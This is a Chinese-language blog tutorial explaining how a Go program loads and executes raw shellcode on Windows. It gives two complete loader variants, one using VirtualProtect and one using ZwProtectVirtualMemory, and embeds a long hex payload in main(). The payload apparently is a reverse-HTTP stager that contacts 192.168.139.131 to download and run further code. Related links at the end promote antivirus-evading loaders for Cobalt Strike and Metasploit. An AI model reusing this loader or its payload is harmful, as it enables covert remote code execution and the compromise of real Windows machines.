理解go语言的shellcode加载器
序言
本文假设你知道unsafe包常见函数的用法,若否,请查看 https://books.studygolang.com/gopl-zh/ch13/ch13-01.html 第13章。
例子和代码详解
func Run(sc []byte){
f := func(){} //实例化一个函数,f是指向该函数的指针
//方法1
*(**uintptr)(unsafe.Pointer(&f)) = (*uintptr)(unsafe.Pointer(&sc))
// (**uintptr)(unsafe.Pointer(&f))是获取一个指向f指针的指针,并转化为**uintptr类型, 为*(**uintptr)(unsafe.Pointer(&f))赋值,意为把一个指向函数的指针的指针指向(*uintptr)(unsafe.Pointer(&sc))
//被重新赋值后,相当于把f这个函数指针替换为新值指针,即(*uintptr)(unsafe.Pointer(&sc))这个指针,这样当后面执行f函数时,相当于执行赋值语句(*uintptr)(unsafe.Pointer(&sc))所指向的区域,
//为*(*uintptr)(unsafe.Pointer(&sc)),即sc的值
var oldfperms2 uint32
syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect").Call( //virtualprotect的参数用法可自行百度下面着重理解每个参数的含义
uintptr(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&sc)))),
//(**uintptr)(unsafe.Pointer(&sc))是把指向sc的指针转为uintptr类型的指针的指针(一个slice中,a []int中的&a地址中保存的内容实际上是指向&a[0]的指针,所以(**uintptr)(unsafe.Pointer(&sc))实际上是一个指向&a[0]的指针
//而*(**uintptr)(unsafe.Pointer(&sc))即为&sc[0],sc实际存储变量的起始地址位。这个语句实际上等价于uintptr(unsafe.Pointer(&sc[0]))。
//因为uintptr和unsafe.Pointer是可以互转的,参数类型要求为uintptr,变把地址转为uintptr格式再传入,下面uintptr()的作用也一样
uintptr(uint(len(sc))),
//获取sc的连续地址的长度
uintptr(uint32(0x40)), //更改内存属性
uintptr(unsafe.Pointer(&oldfperms2)))
f() //执行指向了sc的内存
//这里其实还有一种更简单的执行方法,syscall.sysCall(uintptr(unsafe.Pointer(&sc[0])),0,0,0,0)
}
func main(){
//v := shellcode ,即除去\x后的字符串
v := "fc4883e4f0e8c8000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d0668178180b0275728b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e94fffffff5d6a0049be77696e696e65740041564989e64c89f141ba4c772607ffd54831c94831d24d31c04d31c94150415041ba3a5679a7ffd5eb735a4889c141b8210300004d31c9415141516a03415141ba57899fc6ffd5eb595b4889c14831d24989d84d31c9526800024084525241baeb552e3bffd54889c64883c3506a0a5f4889f14889da49c7c0ffffffff4d31c9525241ba2d06187bffd585c00f859d01000048ffcf0f848c010000ebd3e9e4010000e8a2ffffff2f4833697900daf064f6eacecfdd541cae73d06014c59e0e0475b3804ee9b6093bf04719505589d350280f4c7db9b7750e02babdf4ad3fdb64621f9ea6978a39f6e87ee42794b8d18088dbfc757e2800557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d5349452031302e303b2057696e646f7773204e5420362e323b2057696e36343b207836343b2054726964656e742f362e30290d0a009c9549000c3c5675aa0ab9fb8e9260cc26850b18310273bae636ef582ee8970bcb75bc33a3d9bbf86f7c7c0c01c96680c164fe6e4cdee9ef277d27ac2b399d55ac2b5b4887790cc1b19e546b5948f5da5344ceb28c64d4cdc47351983aad24c136a14dd267477238dca046d4c554760d78099dc25a44829d7b7f3b11e78e329e1ca78aefd085f0b15685b63d27c289504707fb158a65a0fad964ac91fe889c304dc94634c40b63a73127780a605317ae66b8fa5d684bee7ff710ec3dc8d61e83a52b4453b7eb009f021fdd6e1a066f4d561a5f9f0041bef0b5a256ffd54831c9ba0000400041b80010000041b94000000041ba58a453e5ffd5489353534889e74889f14889da41b8002000004989f941ba129689e2ffd54883c42085c074b6668b074801c385c075d758585848050000000050c3e89ffdffff3139322e3136382e3133392e3133310012345678";
//把字符串转为[]byte[]后使用Run加载
a,err := hex.DecodeString(v)
if err!= nil{
log.Fatalln()
}
Run(a)
}
到了这里如果都能理解下来基本就没什么问题了,还有一个shellcode加载的小例子,内存属性更改的函数所需要参数和上面的VirutalProtect也略有不同,可以尝试自行理解
//方法2
func Run(sc []byte){
f := func(){}
*(**uintptr)(unsafe.Pointer(&f)) = (*uintptr)(unsafe.Pointer(&sc))
var oldfperms2 uint32
var hProcess uintptr = 0
var dwBufferLen = uint(len(sc)) syscall.NewLazyDLL("ntdll").NewProc("ZwProtectVirtualMemory").Call(
hProcess-1,
uintptr(unsafe.Pointer((**uintptr)(unsafe.Pointer(&sc)))),
uintptr(unsafe.Pointer(&dwBufferLen)),
0x20,
uintptr(unsafe.Pointer(&oldfperms2)))
f()
}
如有不足或理解错误的地方,请斧正!
理解go语言的shellcode加载器的更多相关文章
- [原创]Python免杀ShellCode加载器(Cobaltstrike/Metasploit)
0x001 原理 采用分离法,即将ShellCode和加载器分离.方法较LOW但免杀. 本文主要将ShellCode转成HEX,再通过加载器执行ShellCode. PS: 何为SC加载器,即专门用于 ...
- 浅析golang shellcode加载器
最近也是学习了一下有关shellcode进程注入的操作,简单分享一下通过golang进行实现shellcode加载器的免杀思路. 杀软的查杀方式 静态查杀:查杀的方式是结合特征码,对文件的特征段如Ha ...
- 恶意软件开发——编写第一个Loader加载器
一.什么是shellcode loader? 上一篇文章说了,我们说到了什么是shellcode,为了使我们的shellcode加载到内存并执行,我们需要shellcode加载器,也就是我们的shel ...
- 【模块化编程】理解requireJS-实现一个简单的模块加载器
在前文中我们不止一次强调过模块化编程的重要性,以及其可以解决的问题: ① 解决单文件变量命名冲突问题 ② 解决前端多人协作问题 ③ 解决文件依赖问题 ④ 按需加载(这个说法其实很假了) ⑤ ..... ...
- 我理解的Android加载器
Android的加载器(loader)是从Android 3.0开始出来的东西.要理解这里需要先理解为什么会出现加载器(也有地方把它说成是装载器)呢? 如果没有加载器... 首先Activity是我们 ...
- webpack进阶构建项目(一):1.理解webpack加载器
1.理解webpack加载器 webpack的设计理念,所有资源都是“模块”,webpack内部实现了一套资源加载机制,这与Requirejs.Sea.js.Browserify等实现有所不同. We ...
- 深入理解JVM-类加载器深入解析(3)
深入理解JVM-类加载器深入解析(3) 获得ClassLoader的途径 获得当前类的ClassLoader clazz.getClassLoader() 获得当前线程上下文的ClassLoader ...
- 深入理解JVM-类加载器深入解析(2)
深入理解JVM-类加载器深入解析(2) 加载:就是把二进制形式的java类型读入java虚拟机中 连接: 验证: 准备:为类变量分配内存,设置默认值.但是在到达初始化之前,类变量都没有初始化为真正的初 ...
- 深入理解LINUX下动态库链接器/加载器ld-linux.so.2
[ld-linux-x86-64.so.2] 最近在Linux 环境下开发,搞了好几天 Compiler 和 linker,觉得有必要来写一篇关于Linux环境下 ld.so的文章了,google上搜 ...
随机推荐
- java-try catch中return在finally之前 还是之后执行
finally语句在return语句执行之后return返回之前执行的. finally块中的return语句会覆盖try块中的return返回. 如果finally语句中没有return语句覆盖返回 ...
- F. Make It Connected 解析(思維、MST)
Codeforce 1095 F. Make It Connected 解析(思維.MST) 今天我們來看看CF1095F 題目連結 題目 給你\(n\)個點,每個點\(u\)還有一個值\(a[u]\ ...
- 4G DTU模块的功能和作用是什么
4G DTU模块我们可以简单将它理解为使用4G无线通信网络来进行远距离无线传送的终端设备.4G DTU模块基于4G方式进行远距离的数据传输,是专门用于将串口数据转换为IP数据或将IP数据转换为串口数据 ...
- 从入门到掌握 - 系统学习shell语言
简介 什么是 shell Shell是一种程序或命令行解释程序,用于解释用户直接输入的用户命令或从文件中读取的用户命令,然后将 它们传递给操作系统以进行操作或处理.要注意,这个过程是解释而不编译脚本, ...
- Cocos Creator 源码解读:引擎启动与主循环
前言 预备 不知道你有没有想过,假如把游戏世界比作一辆汽车,那么这辆"汽车"是如何启动,又是如何持续运转的呢? 如题,本文的内容主要为 Cocos Creator 引擎的启动流程和 ...
- UOJ Round总结
#22. [UR #1]外星人 一开始随便搞出第一问答案,很显然的性质对$x$有变化的$a$一定是递减的,就拿一个桶直接记录可以达到的值 然后我开始想第二问,一开始想直接在这个桶上统计答案,然后发现不 ...
- pytorch加载语音类自定义数据集
pytorch对一下常用的公开数据集有很方便的API接口,但是当我们需要使用自己的数据集训练神经网络时,就需要自定义数据集,在pytorch中,提供了一些类,方便我们定义自己的数据集合 torch.u ...
- 阿里巴巴开发手册强制使用SLF4J作为门面担当的秘密,我搞清楚了
之前已经详细.全面地介绍了 Log4j,相信小伙伴们已经完全掌握了.那我在读嵩山版的阿里巴巴开发手册(没有的小伙伴,记着找我要)的时候,就发现了一条「强制」性质的日志规约: 应用中不可以直接使用日志系 ...
- 测试工具-慢sql日志分析工具pt-query-digest
pt-query-digest分析来自慢速日志文件,常规日志文件和二进制日志文件的MySQL查询.它还可以分析来自tcpdump的查询和MySQL协议数据. 开启慢日志 set global slow ...
- Python如何快速复制序列?
1 基本用法 把序列乘以一个整数,就会产生一个新序列.这个新序列是原始序列复制了整数份,然后再拼接起来的结果. l=[1,2,3] l2=l * 3 logging.info('l2 -> %s ...